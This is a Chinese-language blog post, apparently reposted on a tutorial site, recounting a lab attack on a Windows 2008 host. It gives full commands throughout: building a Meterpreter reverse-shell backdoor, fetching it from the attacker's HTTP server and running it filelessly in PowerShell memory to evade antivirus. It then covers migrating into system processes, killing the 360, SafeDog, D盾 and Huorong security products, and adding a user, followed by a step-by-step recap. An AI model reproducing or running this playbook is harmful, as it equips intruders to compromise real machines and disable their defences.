記一次PowerShell配合Metersploit的艱難提權
互聯網 2022/1/25 7:06:26
0x01 環境準備
kali(模擬公網攻擊機)
Windows2008(靶機,裝有360、火絨、安全狗、D盾)
Powersploit(PowerShell攻擊框架)
https://github.com/PowerShellMafia/PowerSploit
0x02 嘗試落地payload
首先msfvenom生成exe后門程序
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe
Python3開啟http下載服務
python3 -m http.server
msf開啟監聽

執行powershell命令時被火絨攔截
(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")
0x03 PowerShell內存執行exe
這也是現在紅軍非常流行的攻擊手法,payload在內存中加載執行,也就是所謂的文件不落地,大致分以下幾步
- 先將生成的payload在本地進行base64編碼
- 靶機執行遠程下載命令
- 靶機對payload進行解碼并賦值給一個變量
- PowerShell遠程加載Invoke-ReflectivePEInjection模塊(PE反射注入)并執行payload
本地編碼payload
PowerShell下執行
function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String; } Convert-BinaryToString C:\6666.exe > C:\res.txt
將res.txt放置到kali中的下載服務目錄,供靶機加載
接下來遠程加載Powersploit的PE反射模塊
iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")
繼續加載base64編碼后的payload,賦值給一個變量
$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")
靶機解碼payload
$PEBytes = [System.Convert]::FromBase64String($InputString)
反射調用
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
msf成功上線,全程沒有任何文件落地,比較成功地避開了殺軟對磁盤的查殺

0x04 艱難的后滲透攻擊
先看一下進程,Windows下,我個人比較中意svchost.exe這個進程,注入率比較高,而且又是system權限,先來試試吧
ps -ef | grep svchost.exe
成功提權
migrate 336
當我準備添加用戶的時候,被360的ZhuDongFangYu.exe進程攔截,接下來就是想辦法干掉360、火絨、D盾、安全狗的主動防御系統

0x05 Kill主動防御
因為現在是system權限,所以優先嘗試kill、pkill這兩條命令。經過fuzz,得出以下幾點結論
- D盾可直接Kill掉
- 360、安全狗Kill掉后,30秒后會再次重啟
- 火絨權限不夠,無法直接Kill
meterpreter > pkill ZhuDongFangYu.exe Filtering on 'ZhuDongFangYu.exe' Killing: 6056 meterpreter > pkill SafeDogGuardCenter.exe Filtering on 'SafeDogGuardCenter.exe' Killing: 5752 meterpreter > pkill HipsTray.exe Filtering on 'HipsTray.exe' Killing: 7416 [-] stdapi_sys_process_kill: Operation failed: Access is denied. meterpreter >
0x06 繞過殺軟
因為360的權限是比較高的,且我現在是system權限,就像嘗試注入一下360的主動防御進程,竟然成功了!

這一下我直接好家伙,先把SafeDog干掉
ps -ef | Safe pkill Safe
來靶機上看一下,發現安全狗的主進程都被干掉了,360還是狠啊

當我嘗試殺死火絨的進程時,被火絨反殺了,也就是說,火絨把360的主動防御干掉了,可想而知它的權限得多大

重連一次shell后,我嘗試注入360主動防御,殺死所有360的程序,成功拿下!

這時候還有一個ZhuDongFangYu.exe沒殺,所以我們再注入回svchost.exe用它去殺死360的主動防御,這次殺死后就不會再生了,因為主程序已經被它干死了哈哈哈

現在就剩下火絨了,我進入shell,嘗試用taskkill干掉他的時候,發現了一個有意思的提示

火絨的父進程是service.exe,那么如果我注入到service.exe中,用service.exe殺Hips*.exe不過分吧?老子打兒子總沒毛病了吧?
結果讓我很滿意哈哈哈哈哈

成功添加用戶,遺憾的是沒有添加到管理員組,這次艱難的后滲透,就先到這兒吧

0x07 總結
1.攻擊機上msfvenom生成exe后門程序msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe2.將生成的payload在本地進行base64編碼function Convert-BinaryToString {? [CmdletBinding()] param (? ? [string] $FilePath? ? )? ? try {? ? ? $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);?? ? ? }? ? ? catch {? ? ? ? throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";? ? ? ? }?? ? ? ? if ($ByteArray) {? ? ? ? ? $Base64String = [System.Convert]::ToBase64String($ByteArray);? ? ? ? }? ? ? ? else {? ? ? ? ? throw '$ByteArray is $null.';?? ? ? ? ? }?? ? ? ? Write-Output -InputObject $Base64String;? ? ? }Convert-BinaryToString C:\6666.exe > C:\res.txt2.將res.txt放置到攻擊機中的下載服務目錄,Python3開啟http下載服務python3 -m http.server3.假設這里通過冰蝎已成功連接目錄靶機的shell,在冰蝎的命令功能中中執行遠程加載Powersploit的PE反射模塊powershell? iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")4.繼續加載base64編碼后的payload,賦值給一個變量powershell? $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")5.靶機解碼payloadpowershell? $PEBytes = [System.Convert]::FromBase64String($InputString)6.反射調用powershell? Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR7.MSF進行監聽,msf成功上線msf>use? exploit/multi/handlermsf>set? lport 6666msf>set payload? windows/x64/meterprteter/reverse_tcpmsf>set lhost? 192.168.192.119msf>run8.進行信息收集查看meterprter>sysinfo? //查看下系統版本meterprter>ps -ef | grep svchost.exe? //查看svchost.exe對應的進程和權限,發現有一個system權限的進程ID號為336meterprter>migrate 336? //進程遷移到svchost.exe的system權限meterprter>shellc:\>whomai? ? //查看目標系統權限為system權限,可成功提權9.但是添加用戶的時候被安全衛士的ZhuDongFangYu.exe進程攔截10通過kill和pkill命令來進行關閉360,安全狗和火絨的進程meterpreter > pkill ZhuDongFangYu.exe?? //通過pkill可成功關閉360安全衛士,但是30秒會重啟Filtering on 'ZhuDongFangYu.exe'?Killing: 6056?meterpreter > pkill SafeDogGuardCenter.exe? ? //通過pkill可成功關閉安全狗,但是30秒會重啟Filtering on 'SafeDogGuardCenter.exe'?Killing: 5752?meterpreter > pkill HipsTray.exe?? //通過pkill不能關閉火絨,權限不夠Filtering on 'HipsTray.exe'?Killing: 7416?[-] stdapi_sys_process_kill: Operation failed: Access is denied.?meterprter>ps -ef | grep? ZhuDongFangYu.exe? //查看ZhuDongFangYu.exe對應的system 權限的進程ID為6180meterprter>migrate 6180 //進程遷移到ZhuDongFangYu.exe對應的system 權限的進程meterprter>getuid? //發現當前權限已成功提權為systemmeterprter>ps -ef | Safe? //查看安全狗對應的進程meterprter> pkill Safe? //關閉安全狗,但是不能關閉火絨meterprter>shellc:/>tasklist? |findstr? Hips //查看火絨服務對應的進程,發現HipsMain.exe主程序為800c:/>taskkill? /PID? 800 /F? //嘗試kill掉主程序,發現失敗c:/>taskkill /f /t? /im? Hips*? //嘗試kill掉所有火絨服務,但是失敗,發現子進程錯誤?c:/> taskkill? |findstr? 552? //參數查看所有子進程對應的服務,其中只能查看進程552對應的服務為services.exemeterpreter >migrate 552? //注入到services.exe進程中c:/>taskkill /f /t? /im? Hips* //kill所有的火絨服務,可成功禁用掉原文連接:https://cloud.tencent.com/developer/article/1865215

關于找一找教程網
本站文章僅代表作者觀點,不代表本站立場,所有文章非營利性免費分享。
本站提供了軟件編程、網站開發技術、服務器運維、人工智能等等IT技術文章,希望廣大程序員努力學習,讓我們用科技改變世界。
[記一次PowerShell配合Metersploit的艱難提權]http://www.yachtsalesaustralia.com/tech/detail-289436.html
- 2022-08-12powershell修改編碼
- 2022-08-09powershell無法執行腳本
- 2022-07-13在Windows 10 , windows 7 上開啟 Powershell 遠程功能
- 2022-06-22powershell無文件攻擊場景匯總
- 2022-06-16ESXI系列問題整理以及記錄——使用Windows PowerShell中的SSH功能連接ESXI控制臺
- 2022-05-24PowerShell 筆記 - 輸出格式化
- 2022-05-24PowerShell 筆記 - 管道進階
- 2022-05-15Windows Powershell個性化設置
- 2022-05-14window10 powershell ssh登錄提示Bad owner or permissions
- 2022-05-12PowerShell SSH 連接 VirtualBox Ubuntu 虛擬機的具體步驟